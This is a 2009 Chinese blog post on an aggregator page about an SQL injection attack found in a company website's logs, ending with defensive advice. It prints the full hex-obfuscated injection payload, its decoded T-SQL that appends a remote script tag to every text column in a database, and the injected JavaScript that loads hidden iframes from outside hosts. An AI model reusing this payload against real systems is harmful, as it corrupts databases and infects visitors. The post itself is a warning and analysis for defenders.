惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

人人都是产品经理
人人都是产品经理
有赞技术团队
有赞技术团队
L
LangChain Blog
C
Check Point Blog
博客园 - 【当耐特】
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
V
V2EX
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
GbyAI
GbyAI
美团技术团队
博客园 - 司徒正美
Google DeepMind News
Google DeepMind News
WordPress大学
WordPress大学
aimingoo的专栏
aimingoo的专栏
S
SegmentFault 最新的问题
A
About on SuperTechFans
Blog — PlanetScale
Blog — PlanetScale
Hugging Face - Blog
Hugging Face - Blog
博客园 - 叶小钗
腾讯CDC
B
Blog
G
Google Developers Blog
The Cloudflare Blog
P
Proofpoint News Feed

博客园 - 黄耀辉

PMP应考知识点-合同类型以及选择要领 敏捷宣言及原则(中英对照) Scrum笔记 PMP(第六版)十大知识领域、五大项目管理过程组、49个过程矩阵 跟大家分享Entity Framework使用Code First方式如何连接到现有数据库 SharePoint2010主题和样式揭秘(1) 在SSIS中使用SharePoint列表作为源和目标 修复Win7桌面我的电脑右键属性的“管理”窗口打不开 将GAC中的程序集复制出来的方法 VSTS2008如果团队资源管理器中项目的报表文件夹出现“红叉”试试这样解决。 SharePoint中引用图片库中缩略图的一种方式 SharePoint的列表中某列去除重复值的一种方法 让乌龟SVN(TortoiseSVN)提交时忽略bin和obj目录 - 黄耀辉 - 博客园 你还在想用VSS2005的Internet访问方案来做远程协作吗? Team Foundation Server 2008使用SQLServer2008 SP1做存储层的部署方法 WSS&MOSS常见问题及解决方法[不断更新] - 黄耀辉 - 博客园 再见了亲爱的学生们,再见了敬爱的同事们,再见了信狮 ASP.NET 3.5 Extensions CTP 预览版 已经发布 .NET Framework开源了!ASP.NET 3.5扩展发布!Silverlight 2.0发布!
SQL注入案例曝光,请大家提高警惕
黄耀辉 · 2009-07-28 · via 博客园 - 黄耀辉

近日公司网站发现有无聊人进行SQL注入攻击,在这里曝曝光,在鄙视那些"无聊之人无聊之举"的同时,望大家提高安全意识。

日志记录内容是这样的
Url:/(x(1)a(eq2io1uyygekaaaanwqxmge4ywytzwy5yi00ytbjlwjlmdatotllmtlmodaym2m5lcndikok9dche5rd2s_rxyhp43i1))/production/prodetail.aspx。SQL注入攻击:e7fa47d3-5822-486f-a148-a77b8fd3802f;dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);--

简单解说一下,呵呵。
其一,跟常规注入手段一样,前面加上';(分号,用于结束前一条语句),后边加上--(用于注释后边的语句)
其二,声明了个 @s,关键部分来了,使用了编码的方式把sql语句变成一大串“乱七八糟”的东西,然后通过exec可以执行“动态”SQL的特性运行脚本。还逃避了对关键字字符串的检查。
经过运行环境解释那堆东西会变成以下语句
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name
From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')Fetch Next From  Table_Cursor Into @T,@C End Close Table_Cursor Deallocate Table_Cursor
运行后库中的每个表的每条记录都会加上<script src=http://8f8el3l.cn/0.js></script>这段脚本,
脚本内容是这样的
document.writeln(" <base onmouseover=\"window.status=\'完毕                                                  \';return true\">");
document.writeln(" <SCRIPT LANGUAGE=\"JavaScript\"> ");
document.writeln(" <!-- Hide ");
document.writeln("function killErrors() { ");
document.writeln("return true; ");
document.writeln("} ");
document.writeln("window.onerror = killErrors; ");
document.writeln("\/\/ --> ");
document.writeln(" <\/SCRIPT>");
function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 800)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1a01ab2="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1a01ab2=hhhh;expires="+ Then.toGMTString()
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
document.writeln("<iframe src=http://5u66j.cn/aa/a3a.htm width=0 height=0></iframe>");
}
}Get();

接着下来会发生什么事就不用再多说了。


至于有哪些防范措施当然也是常用几招喽
1.需要执行的SQL语句使用参数对象封装参数数据,不要用字符串形式串个SQL出来直接运行,特别是Internet环境,别以为简单的把文本框的长度限制一下,不让那个框输入什么就可以万事大吉了。
2.对最终需要运行的SQL语句做关键字检查。不过也要好好考虑需要屏蔽哪些关键字喽,像上边例子,屏蔽了update还是没用的喽。
3.通过开发个Http模块,加强请求内容安全的处理喽。

其它的就留给大家一起来探讨喽。

最后再一次声明,曝光这些不是为了教大家怎么做SQL注入,而是提醒大家加强安全意识,再一次鄙视只搞破坏不搞建设的人,再慨叹一句:为什么有这么有本事的人不动动脑筋做点好事,花这样的时间来研究对别人有害对自己无益的事。 各位施主回头是岸啊!

这两天发现连深圳市考试中心的网站(http://www.testcenter.gov.cn/)也被这种攻击整了,也不知道那些人攻击的人是得到什么“收益”了,真是无聊透了。

决定对捕获的攻击的IP和脚本块公布到回复里面。可能此举也是有些无聊,呵呵。